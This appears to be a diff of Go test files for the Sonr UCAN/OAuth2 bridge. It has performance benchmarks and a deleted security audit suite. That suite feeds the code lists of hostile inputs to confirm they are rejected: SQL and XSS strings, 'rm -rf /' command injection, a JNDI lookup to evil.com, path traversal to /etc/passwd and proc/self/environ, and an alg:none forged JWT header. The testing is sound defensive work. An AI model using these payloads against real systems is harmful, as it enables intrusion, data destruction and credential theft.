delegator := handlers.NewUCANDelegator(signer)
userDID := "did:sonr:bench-user"
clientDID := "did:sonr:bench-client"
scopes := []string{"vault:read", "dwn:write", "service:read"}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
_, err := delegator.CreateDelegation(
userDID,
clientDID,
scopes,
time.Now().Add(time.Hour),
)
if err != nil {
b.Fatal(err)
}
}
}
// BenchmarkUCANSigning benchmarks UCAN token signing performance
func BenchmarkUCANSigning(b *testing.B) {
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
// Create template token
token := &ucan.Token{
Issuer: "did:sonr:bench-user",
Audience: "did:sonr:bench-client",
ExpiresAt: time.Now().Add(time.Hour).Unix(),
NotBefore: time.Now().Unix(),
Attenuations: []ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
_, err := signer.Sign(token)
if err != nil {
b.Fatal(err)
}
}
}
// BenchmarkUCANVerification benchmarks UCAN token verification performance
func BenchmarkUCANVerification(b *testing.B) {
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
// Create test token
token := &ucan.Token{
Issuer: "did:sonr:bench-user",
Audience: "did:sonr:bench-client",
ExpiresAt: time.Now().Add(time.Hour).Unix(),
NotBefore: time.Now().Unix(),
Attenuations: []ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
}
signedToken, err := signer.Sign(token)
require.NoError(b, err)
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
_, err := signer.VerifySignature(signedToken)
if err != nil {
b.Fatal(err)
}
}
}
// BenchmarkOAuth2ScopeMapping benchmarks scope to UCAN mapping performance
func BenchmarkOAuth2ScopeMapping(b *testing.B) {
scopeMapper := handlers.NewScopeMapper()
scopes := []string{"openid", "profile", "vault:read", "vault:write", "dwn:read", "dwn:write", "service:manage"}
userDID := "did:sonr:bench-user"
clientID := "bench-client"
resourceContext := map[string]string{
"vault_address": "vault:test",
"dwn_id": "dwn:test",
"service_id": "service:test",
}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
attenuations := scopeMapper.MapToUCAN(scopes, userDID, clientID, resourceContext)
if len(attenuations) == 0 {
b.Fatal("No attenuations generated")
}
}
}
// BenchmarkDelegationChainValidation benchmarks delegation chain validation
func BenchmarkDelegationChainValidation(b *testing.B) {
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
// Create delegation chain: User → Client A → Client B → Client C
userDID := "did:sonr:bench-user"
clientA := "did:sonr:bench-client-a"
clientB := "did:sonr:bench-client-b"
clientC := "did:sonr:bench-client-c"
token1, _ := signer.CreateDelegationToken(
userDID,
clientA,
[]ucan.Attenuation{
{
Capability: &ucan.MultiCapability{Actions: []string{"read", "write"}},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
},
},
nil,
time.Hour,
)
token2, _ := signer.CreateDelegationToken(
clientA,
clientB,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
},
},
[]ucan.Proof{ucan.Proof(token1)},
time.Hour,
)
token3, _ := signer.CreateDelegationToken(
clientB,
clientC,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
},
},
[]ucan.Proof{ucan.Proof(token2)},
time.Hour,
)
tokenChain := []string{token1, token2, token3}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
err := signer.ValidateDelegationChain(tokenChain)
if err != nil {
b.Fatal(err)
}
}
}
// BenchmarkTokenExchange benchmarks OAuth2 token exchange performance
func BenchmarkTokenExchange(b *testing.B) {
clientStore := NewMockClientStore()
tokenStore := NewMockTokenStore()
// Setup test client
clientStore.clients["bench-client"] = &handlers.OAuth2Client{
ClientID: "bench-client",
ClientSecret: "bench-secret",
AllowedScopes: []string{"vault:read", "dwn:write"},
Metadata: map[string]string{
"client_did": "did:sonr:bench-client",
},
}
// Setup existing access token
tokenStore.StoreToken(context.Background(), &handlers.StoredToken{
TokenID: "bench-access-token",
TokenType: "access_token",
AccessToken: "bench-access-token",
ClientID: "bench-client",
UserDID: "did:sonr:bench-user",
Scopes: []string{"vault:read", "dwn:write"},
ExpiresAt: time.Now().Add(time.Hour),
UCANToken: "dummy.ucan.token",
})
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
delegator := handlers.NewUCANDelegator(signer)
exchanger := handlers.NewTokenExchangeHandler(delegator, signer, tokenStore, clientStore)
req := &handlers.TokenExchangeRequest{
GrantType: "urn:ietf:params:oauth:grant-type:token-exchange",
SubjectToken: "bench-access-token",
SubjectTokenType: "urn:ietf:params:oauth:token-type:access_token",
RequestedTokenType: "urn:x-oath:params:oauth:token-type:ucan",
Scope: "vault:read",
}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
// Create HTTP request/response for benchmarking
reqBody := fmt.Sprintf("grant_type=urn:ietf:params:oauth:grant-type:token-exchange&subject_token=%s&subject_token_type=urn:ietf:params:oauth:token-type:access_token&client_id=test-client", req.SubjectToken)
httpReq := httptest.NewRequest("POST", "/oauth2/token-exchange", strings.NewReader(reqBody))
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
recorder := httptest.NewRecorder()
exchanger.HandleTokenExchange(recorder, httpReq)
if recorder.Code != http.StatusOK {
b.Fatalf("Token exchange failed: %d", recorder.Code)
}
}
}
// BenchmarkRefreshToken benchmarks refresh token performance
func BenchmarkRefreshToken(b *testing.B) {
clientStore := NewMockClientStore()
tokenStore := NewMockTokenStore()
// Setup test client
clientStore.clients["bench-client"] = &handlers.OAuth2Client{
ClientID: "bench-client",
ClientSecret: "bench-secret",
AllowedScopes: []string{"vault:read", "dwn:write"},
Metadata: map[string]string{
"client_did": "did:sonr:bench-client",
},
}
// Setup refresh token
tokenStore.StoreToken(context.Background(), &handlers.StoredToken{
TokenID: "bench-refresh-token",
TokenType: "refresh_token",
RefreshToken: "bench-refresh-token",
ClientID: "bench-client",
UserDID: "did:sonr:bench-user",
Scopes: []string{"vault:read", "dwn:write"},
ExpiresAt: time.Now().Add(30 * 24 * time.Hour),
})
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
delegator := handlers.NewUCANDelegator(signer)
refresher := handlers.NewRefreshTokenHandler(delegator, signer, tokenStore, clientStore)
req := &handlers.RefreshTokenRequest{
GrantType: "refresh_token",
RefreshToken: "bench-refresh-token",
Scope: "vault:read",
}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
// Create HTTP request for benchmarking
reqBody := fmt.Sprintf("grant_type=refresh_token&refresh_token=%s&client_id=bench-client", req.RefreshToken)
httpReq := httptest.NewRequest("POST", "/oauth2/refresh", strings.NewReader(reqBody))
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
recorder := httptest.NewRecorder()
refresher.HandleRefreshToken(recorder, httpReq)
if recorder.Code != http.StatusOK {
b.Fatalf("Refresh token failed: %d", recorder.Code)
}
}
}
// BenchmarkConcurrentUCANOperations benchmarks concurrent UCAN operations
func BenchmarkConcurrentUCANOperations(b *testing.B) {
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
delegator := handlers.NewUCANDelegator(signer)
userDID := "did:sonr:concurrent-user"
clientDID := "did:sonr:concurrent-client"
scopes := []string{"vault:read", "dwn:write"}
b.ResetTimer()
b.ReportAllocs()
b.RunParallel(func(pb *testing.PB) {
for pb.Next() {
token, err := delegator.CreateDelegation(
userDID,
clientDID,
scopes,
time.Now().Add(time.Hour),
)
if err != nil {
b.Fatal(err)
}
// Verify the token
_, err = signer.VerifySignature(token.Raw)
if err != nil {
b.Fatal(err)
}
}
})
}
// BenchmarkLargeAttenuationList benchmarks performance with many attenuations
func BenchmarkLargeAttenuationList(b *testing.B) {
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
// Create token with many attenuations
var attenuations []ucan.Attenuation
modules := []string{"vault", "dwn", "service", "did", "dex"}
actions := []string{"read", "write", "delete", "admin"}
for _, module := range modules {
for _, action := range actions {
attenuations = append(attenuations, ucan.Attenuation{
Capability: &ucan.SimpleCapability{Action: action},
Resource: &handlers.SimpleResource{Scheme: module, Value: "test"},
})
}
}
token := &ucan.Token{
Issuer: "did:sonr:large-user",
Audience: "did:sonr:large-client",
ExpiresAt: time.Now().Add(time.Hour).Unix(),
NotBefore: time.Now().Unix(),
Attenuations: attenuations,
}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
signedToken, err := signer.Sign(token)
if err != nil {
b.Fatal(err)
}
_, err = signer.VerifySignature(signedToken)
if err != nil {
b.Fatal(err)
}
}
}
// BenchmarkModuleSpecificValidation benchmarks module-specific validation
func BenchmarkModuleSpecificValidation(b *testing.B) {
didValidator := NewMockDIDValidator()
dwnValidator := NewMockDWNValidator()
svcValidator := NewMockServiceValidator()
// Setup test data
didValidator.didDocuments["did:sonr:bench-user"] = &didtypes.DIDDocument{
Id: "did:sonr:bench-user",
}
svcValidator.services["bench-service"] = &svctypes.Service{
Id: "bench-service",
Owner: "did:sonr:bench-user",
}
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
delegator := handlers.NewUCANDelegator(signer)
token, _ := delegator.CreateDelegation(
"did:sonr:bench-user",
"did:sonr:bench-client",
[]string{"did:read", "dwn:write", "service:read"},
time.Now().Add(time.Hour),
)
b.ResetTimer()
b.ReportAllocs()
ctx := context.Background()
for i := 0; i < b.N; i++ {
// Test all three modules
_ = didValidator.ValidateUCANPermission(ctx, token, "read", "did:sonr:bench-user")
_ = dwnValidator.ValidateUCANPermission(ctx, token, "write", "dwn:bench-user")
_ = svcValidator.ValidateUCANPermission(ctx, token, "read", "bench-service")
}
}
// Performance test with target metrics
func TestPerformanceTargets(t *testing.T) {
if testing.Short() {
t.Skip("Skipping performance tests in short mode")
}
// Define performance targets
targets := map[string]time.Duration{
"UCAN Creation": 10 * time.Millisecond,
"UCAN Signing": 5 * time.Millisecond,
"UCAN Verification": 5 * time.Millisecond,
"Scope Mapping": 1 * time.Millisecond,
"Chain Validation": 15 * time.Millisecond,
}
results := make(map[string]time.Duration)
// Measure UCAN Creation
start := time.Now()
iterations := 1000
mockKeeper := createTestDIDKeeper()
signer, _ := handlers.NewBlockchainUCANSigner(mockKeeper, "did:sonr:oauth-provider")
delegator := handlers.NewUCANDelegator(signer)
for i := 0; i < iterations; i++ {
_, err := delegator.CreateDelegation(
"did:sonr:test-user",
"did:sonr:test-client",
[]string{"vault:read", "dwn:write"},
time.Now().Add(time.Hour),
)
require.NoError(t, err)
}
results["UCAN Creation"] = time.Since(start) / time.Duration(iterations)
// Measure UCAN Signing
token := &ucan.Token{
Issuer: "did:sonr:test-user",
Audience: "did:sonr:test-client",
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Attenuations: []ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
}
start = time.Now()
for i := 0; i < iterations; i++ {
_, err := signer.Sign(token)
require.NoError(t, err)
}
results["UCAN Signing"] = time.Since(start) / time.Duration(iterations)
// Measure UCAN Verification
signedToken, err := signer.Sign(token)
require.NoError(t, err)
start = time.Now()
for i := 0; i < iterations; i++ {
_, err := signer.VerifySignature(signedToken)
require.NoError(t, err)
}
results["UCAN Verification"] = time.Since(start) / time.Duration(iterations)
// Measure Scope Mapping
scopeMapper := handlers.NewScopeMapper()
scopes := []string{"vault:read", "dwn:write", "service:read"}
resourceContext := map[string]string{"vault_address": "test"}
start = time.Now()
for i := 0; i < iterations; i++ {
attenuations := scopeMapper.MapToUCAN(scopes, "user", "client", resourceContext)
require.NotEmpty(t, attenuations)
}
results["Scope Mapping"] = time.Since(start) / time.Duration(iterations)
// Measure Chain Validation
token1, _ := signer.CreateDelegationToken(
"did:sonr:user",
"did:sonr:client-a",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
time.Hour,
)
token2, _ := signer.CreateDelegationToken(
"did:sonr:client-a",
"did:sonr:client-b",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
[]ucan.Proof{ucan.Proof(token1)},
time.Hour,
)
chain := []string{token1, token2}
start = time.Now()
for i := 0; i < iterations; i++ {
err := signer.ValidateDelegationChain(chain)
require.NoError(t, err)
}
results["Chain Validation"] = time.Since(start) / time.Duration(iterations)
// Check against targets
t.Logf("Performance Results:")
for operation, target := range targets {
actual := results[operation]
t.Logf(" %s: %v (target: %v)", operation, actual, target)
if actual > target {
t.Errorf("%s performance (%v) exceeds target (%v)", operation, actual, target)
}
}
// Memory usage test
var memStats runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&memStats)
before := memStats.Alloc
// Perform operations
for i := 0; i < 100; i++ {
token, _ := delegator.CreateDelegation(
"did:sonr:mem-user",
"did:sonr:mem-client",
[]string{"vault:read"},
time.Now().Add(time.Hour),
)
_, _ = signer.Sign(token)
}
runtime.GC()
runtime.ReadMemStats(&memStats)
after := memStats.Alloc
memUsed := after - before
t.Logf("Memory used for 100 operations: %d bytes (%d KB)", memUsed, memUsed/1024)
// Target: < 1MB for 100 operations
if memUsed > 1024*1024 {
t.Errorf("Memory usage (%d bytes) exceeds 1MB target", memUsed)
}
}
-788
View File
@@ -1,788 +0,0 @@
package integration
import (
"context"
"crypto/ed25519"
"crypto/rand"
"encoding/base64"
"fmt"
"strings"
"testing"
"time"
"github.com/stretchr/testify/suite"
"github.com/sonr-io/sonr/bridge/handlers"
"github.com/sonr-io/sonr/crypto/ucan"
"github.com/sonr-io/sonr/x/did/types"
)
// securityMockDIDKeeper implements DIDKeeperInterface for security testing
type securityMockDIDKeeper struct {
didDocuments map[string]*types.DIDDocument
}
func (m *securityMockDIDKeeper) GetDIDDocument(ctx context.Context, did string) (*types.DIDDocument, error) {
if doc, ok := m.didDocuments[did]; ok {
return doc, nil
}
return nil, fmt.Errorf("DID document not found: %s", did)
}
func (m *securityMockDIDKeeper) GetVerificationMethod(ctx context.Context, did string, methodID string) (*types.VerificationMethod, error) {
doc, err := m.GetDIDDocument(ctx, did)
if err != nil {
return nil, err
}
for _, vm := range doc.VerificationMethod {
if vm.Id == methodID {
return vm, nil
}
}
return nil, fmt.Errorf("verification method not found")
}
// SecurityAuditTestSuite conducts comprehensive security validation
type SecurityAuditTestSuite struct {
suite.Suite
signer *handlers.BlockchainUCANSigner
delegator *handlers.UCANDelegator
scopeMapper *handlers.ScopeMapper
mockKeeper *securityMockDIDKeeper
testUserDID string
testClientDID string
maliciousDID string
}
func (suite *SecurityAuditTestSuite) SetupSuite() {
// Create test keys
userPubKey, _, _ := ed25519.GenerateKey(rand.Reader)
clientPubKey, _, _ := ed25519.GenerateKey(rand.Reader)
maliciousPubKey, _, _ := ed25519.GenerateKey(rand.Reader)
// Setup mock DID keeper with test documents
suite.mockKeeper = &securityMockDIDKeeper{
didDocuments: map[string]*types.DIDDocument{
"did:sonr:security-user": {
Id: "did:sonr:security-user",
VerificationMethod: []*types.VerificationMethod{
{
Id: "did:sonr:security-user#keys-1",
Controller: "did:sonr:security-user",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: base64.StdEncoding.EncodeToString(userPubKey),
},
},
},
"did:sonr:security-client": {
Id: "did:sonr:security-client",
VerificationMethod: []*types.VerificationMethod{
{
Id: "did:sonr:security-client#keys-1",
Controller: "did:sonr:security-client",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: base64.StdEncoding.EncodeToString(clientPubKey),
},
},
},
"did:sonr:malicious-actor": {
Id: "did:sonr:malicious-actor",
VerificationMethod: []*types.VerificationMethod{
{
Id: "did:sonr:malicious-actor#keys-1",
Controller: "did:sonr:malicious-actor",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: base64.StdEncoding.EncodeToString(maliciousPubKey),
},
},
},
},
}
signer, _ := handlers.NewBlockchainUCANSigner(suite.mockKeeper, "did:sonr:oauth-provider")
suite.signer = signer
suite.delegator = handlers.NewUCANDelegator(signer)
suite.scopeMapper = handlers.NewScopeMapper()
suite.testUserDID = "did:sonr:security-user"
suite.testClientDID = "did:sonr:security-client"
suite.maliciousDID = "did:sonr:malicious-actor"
}
// TestTokenExpiration validates token expiration enforcement
func (suite *SecurityAuditTestSuite) TestTokenExpiration() {
// Test 1: Expired token rejection
expiredToken, err := suite.signer.CreateDelegationToken(
suite.testUserDID,
suite.testClientDID,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
-1*time.Hour, // Already expired
)
suite.Require().NoError(err)
_, err = suite.signer.VerifySignature(expiredToken)
suite.Error(err, "Expired token must be rejected")
suite.Contains(err.Error(), "expired", "Error should mention expiration")
// Test 2: Future not-before time
// Manually create token with future not-before
token := &ucan.Token{
Issuer: suite.testUserDID,
Audience: suite.testClientDID,
ExpiresAt: time.Now().Add(time.Hour).Unix(),
NotBefore: time.Now().Add(time.Hour).Unix(), // Valid in 1 hour
Attenuations: []ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
}
signedFutureToken, err := suite.signer.Sign(token)
suite.Require().NoError(err)
_, err = suite.signer.VerifySignature(signedFutureToken)
suite.Error(err, "Token with future not-before must be rejected")
// Test 3: Valid time window
validToken, err := suite.signer.CreateDelegationToken(
suite.testUserDID,
suite.testClientDID,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
time.Hour,
)
suite.Require().NoError(err)
_, err = suite.signer.VerifySignature(validToken)
suite.NoError(err, "Valid token within time window must be accepted")
}
// TestMalformedTokens validates rejection of malformed tokens
func (suite *SecurityAuditTestSuite) TestMalformedTokens() {
malformedTokens := []struct {
name string
token string
}{
{"Empty token", ""},
{"Not JWT format", "not-a-jwt-token"},
{"Incomplete JWT", "header."},
{"Invalid base64", "invalid.base64!.data"},
{"Missing signature", "header.payload."},
{"Extra segments", "header.payload.signature.extra"},
{"Null bytes", "header\x00.payload.signature"},
{"SQL injection attempt", "'; DROP TABLE tokens; --"},
{"XSS attempt", "<script>alert('xss')</script>"},
{"Buffer overflow attempt", strings.Repeat("A", 10000)},
}
for _, test := range malformedTokens {
suite.Run(test.name, func() {
_, err := suite.signer.VerifySignature(test.token)
suite.Error(err, "Malformed token '%s' must be rejected", test.name)
})
}
}
// TestPrivilegeEscalation validates prevention of privilege escalation
func (suite *SecurityAuditTestSuite) TestPrivilegeEscalation() {
// Create parent token with limited permissions
parentToken, err := suite.signer.CreateDelegationToken(
suite.testUserDID,
"did:sonr:intermediate",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"}, // Only read
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
time.Hour,
)
suite.Require().NoError(err)
// Attempt to escalate privileges in child token
escalatedToken, err := suite.signer.CreateDelegationToken(
"did:sonr:intermediate",
suite.maliciousDID,
[]ucan.Attenuation{
{
Capability: &ucan.MultiCapability{Actions: []string{"read", "write", "delete", "admin"}}, // Escalation!
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
[]ucan.Proof{ucan.Proof(parentToken)},
time.Hour,
)
suite.Require().NoError(err) // Token creation should succeed
// But delegation chain validation should fail
err = suite.signer.ValidateDelegationChain([]string{parentToken, escalatedToken})
suite.Error(err, "Privilege escalation must be detected and rejected")
suite.Contains(err.Error(), "attenuation", "Error should mention improper attenuation")
}
// TestScopeInjection validates prevention of scope injection attacks
func (suite *SecurityAuditTestSuite) TestScopeInjection() {
maliciousScopes := []string{
"vault:read; DROP TABLE users; --",
"vault:read' OR '1'='1",
"vault:read<script>alert('xss')</script>",
"vault:read\x00admin",
"vault:read\nvault:admin",
"vault:read\rvault:admin",
"vault:read\tvault:admin",
"vault:*; system('rm -rf /')",
"../../../etc/passwd:read",
"${jndi:ldap://evil.com/malicious}",
}
for _, maliciousScope := range maliciousScopes {
suite.Run("Scope injection: "+maliciousScope, func() {
// Attempt to validate malicious scope
err := suite.scopeMapper.ValidateScopes([]string{maliciousScope})
suite.Error(err, "Malicious scope must be rejected: %s", maliciousScope)
// Even if scope validation passes, mapping should be safe
resourceContext := map[string]string{"test": "value"}
attenuations := suite.scopeMapper.MapToUCAN(
[]string{maliciousScope},
suite.testUserDID,
suite.testClientDID,
resourceContext,
)
// Should either be empty or contain safe attenuations
for _, att := range attenuations {
actions := att.Capability.GetActions()
for _, action := range actions {
// Actions should not contain injection payloads
suite.NotContains(action, "DROP", "Action should not contain SQL injection")
suite.NotContains(action, "<script>", "Action should not contain XSS")
suite.NotContains(action, "system(", "Action should not contain command injection")
}
}
})
}
}
// TestResourceInjection validates prevention of resource injection attacks
func (suite *SecurityAuditTestSuite) TestResourceInjection() {
maliciousResources := []string{
"../../../etc/passwd",
"file:///etc/passwd",
"http://evil.com/steal-data",
"javascript:alert('xss')",
"data:text/html,<script>alert('xss')</script>",
"\\\\evil.com\\share\\malware.exe",
"C:\\Windows\\System32\\cmd.exe",
"/dev/random",
"proc/self/environ",
"vault:test; rm -rf /",
}
for _, maliciousResource := range maliciousResources {
suite.Run("Resource injection: "+maliciousResource, func() {
resource := &handlers.SimpleResource{
Scheme: "vault",
Value: maliciousResource,
}
attenuation := ucan.Attenuation{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: resource,
}
token := &ucan.Token{
Issuer: suite.testUserDID,
Audience: suite.testClientDID,
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Attenuations: []ucan.Attenuation{attenuation},
}
// Validation should reject dangerous resources
err := suite.delegator.ValidateDelegation(token, []string{"vault:read"})
// Should be safe - either rejected or sanitized
if err == nil {
// If accepted, verify resource is sanitized
suite.NotContains(resource.GetValue(), "..", "Resource should not contain path traversal")
suite.NotContains(resource.GetValue(), "<script>", "Resource should not contain XSS")
}
})
}
}
// TestDelegationChainManipulation validates delegation chain integrity
func (suite *SecurityAuditTestSuite) TestDelegationChainManipulation() {
// Create legitimate delegation chain
token1, err := suite.signer.CreateDelegationToken(
suite.testUserDID,
"did:sonr:client-a",
[]ucan.Attenuation{
{
Capability: &ucan.MultiCapability{Actions: []string{"read", "write"}},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
time.Hour,
)
suite.Require().NoError(err)
token2, err := suite.signer.CreateDelegationToken(
"did:sonr:client-a",
"did:sonr:client-b",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
[]ucan.Proof{ucan.Proof(token1)},
time.Hour,
)
suite.Require().NoError(err)
// Test 1: Broken chain (wrong audience/issuer)
brokenToken, err := suite.signer.CreateDelegationToken(
"did:sonr:wrong-issuer", // Should be client-b
"did:sonr:client-c",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
[]ucan.Proof{ucan.Proof(token2)},
time.Hour,
)
suite.Require().NoError(err)
err = suite.signer.ValidateDelegationChain([]string{token1, token2, brokenToken})
suite.Error(err, "Broken delegation chain must be rejected")
// Test 2: Missing proof
noproofToken, err := suite.signer.CreateDelegationToken(
"did:sonr:client-b",
"did:sonr:client-c",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil, // Missing proof!
time.Hour,
)
suite.Require().NoError(err)
err = suite.signer.ValidateDelegationChain([]string{token1, token2, noproofToken})
suite.Error(err, "Chain with missing proof must be rejected")
// Test 3: Invalid proof (wrong token)
wrongproofToken, err := suite.signer.CreateDelegationToken(
"did:sonr:client-b",
"did:sonr:client-c",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
[]ucan.Proof{ucan.Proof(token1)}, // Wrong proof (should be token2)
time.Hour,
)
suite.Require().NoError(err)
err = suite.signer.ValidateDelegationChain([]string{token1, token2, wrongproofToken})
suite.Error(err, "Chain with wrong proof must be rejected")
}
// TestReplayAttacks validates protection against token replay
func (suite *SecurityAuditTestSuite) TestReplayAttacks() {
// Create valid token
token, err := suite.signer.CreateDelegationToken(
suite.testUserDID,
suite.testClientDID,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
time.Hour,
)
suite.Require().NoError(err)
// First use should succeed
parsedToken1, err := suite.signer.VerifySignature(token)
suite.NoError(err, "First token use should succeed")
suite.NotNil(parsedToken1)
// Subsequent uses should also succeed (bearer tokens are reusable)
// But in production, nonce/jti tracking would prevent replay
parsedToken2, err := suite.signer.VerifySignature(token)
suite.NoError(err, "Token reuse is allowed for bearer tokens")
// Verify tokens are identical
suite.Equal(parsedToken1.Raw, parsedToken2.Raw)
// Test with very short-lived token to ensure time-based replay protection
shortToken, err := suite.signer.CreateDelegationToken(
suite.testUserDID,
suite.testClientDID,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
100*time.Millisecond,
)
suite.Require().NoError(err)
// Should work immediately
_, err = suite.signer.VerifySignature(shortToken)
suite.NoError(err, "Token should work immediately")
// Wait for expiration
time.Sleep(200 * time.Millisecond)
// Should fail after expiration (natural replay protection)
_, err = suite.signer.VerifySignature(shortToken)
suite.Error(err, "Expired token should prevent replay")
}
// TestCryptographicIntegrity validates cryptographic security
func (suite *SecurityAuditTestSuite) TestCryptographicIntegrity() {
// Create valid token
token := &ucan.Token{
Issuer: suite.testUserDID,
Audience: suite.testClientDID,
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Attenuations: []ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
}
signedToken, err := suite.signer.Sign(token)
suite.Require().NoError(err)
// Test 1: Token tampering detection
tampered := strings.Replace(signedToken, "read", "admin", 1)
_, err = suite.signer.VerifySignature(tampered)
suite.Error(err, "Tampered token must be rejected")
// Test 2: Signature stripping
parts := strings.Split(signedToken, ".")
if len(parts) == 3 {
noSig := parts[0] + "." + parts[1] + "."
_, err = suite.signer.VerifySignature(noSig)
suite.Error(err, "Token without signature must be rejected")
}
// Test 3: Header manipulation
if len(parts) == 3 {
maliciousHeader := "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0" // {"alg":"none","typ":"JWT"}
noAlg := maliciousHeader + "." + parts[1] + "." + parts[2]
_, err = suite.signer.VerifySignature(noAlg)
suite.Error(err, "Token with 'none' algorithm must be rejected")
}
}
// TestDenialOfService validates protection against DoS attacks
func (suite *SecurityAuditTestSuite) TestDenialOfService() {
// Test 1: Large token payload
var largeAttenuations []ucan.Attenuation
for i := 0; i < 1000; i++ { // Very large number of attenuations
largeAttenuations = append(largeAttenuations, ucan.Attenuation{
Capability: &ucan.SimpleCapability{Action: fmt.Sprintf("action_%d", i)},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: fmt.Sprintf("resource_%d", i)},
})
}
largeToken := &ucan.Token{
Issuer: suite.testUserDID,
Audience: suite.testClientDID,
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Attenuations: largeAttenuations,
}
// Should either handle gracefully or reject with reasonable time
start := time.Now()
_, err := suite.signer.Sign(largeToken)
duration := time.Since(start)
// Should complete within reasonable time (or reject)
suite.Less(duration, 5*time.Second, "Large token processing should not cause excessive delay")
if err == nil {
// If signing succeeds, verification should also be reasonable
signedLargeToken, _ := suite.signer.Sign(largeToken)
start = time.Now()
_, err = suite.signer.VerifySignature(signedLargeToken)
duration = time.Since(start)
suite.Less(duration, 5*time.Second, "Large token verification should not cause excessive delay")
}
// Test 2: Deeply nested delegation chain
var deepChain []string
currentIssuer := suite.testUserDID
for i := 0; i < 50; i++ { // Deep chain
nextAudience := fmt.Sprintf("did:sonr:deep-client-%d", i)
token, err := suite.signer.CreateDelegationToken(
currentIssuer,
nextAudience,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
func() []ucan.Proof {
if len(deepChain) > 0 {
return []ucan.Proof{ucan.Proof(deepChain[len(deepChain)-1])}
}
return nil
}(),
time.Hour,
)
if err != nil {
break // Stop if chain becomes too deep
}
deepChain = append(deepChain, token)
currentIssuer = nextAudience
}
// Validate deep chain - should either succeed quickly or reject
start = time.Now()
err = suite.signer.ValidateDelegationChain(deepChain)
duration = time.Since(start)
suite.Less(duration, 10*time.Second, "Deep chain validation should not cause excessive delay")
}
// TestInputSanitization validates input sanitization across all components
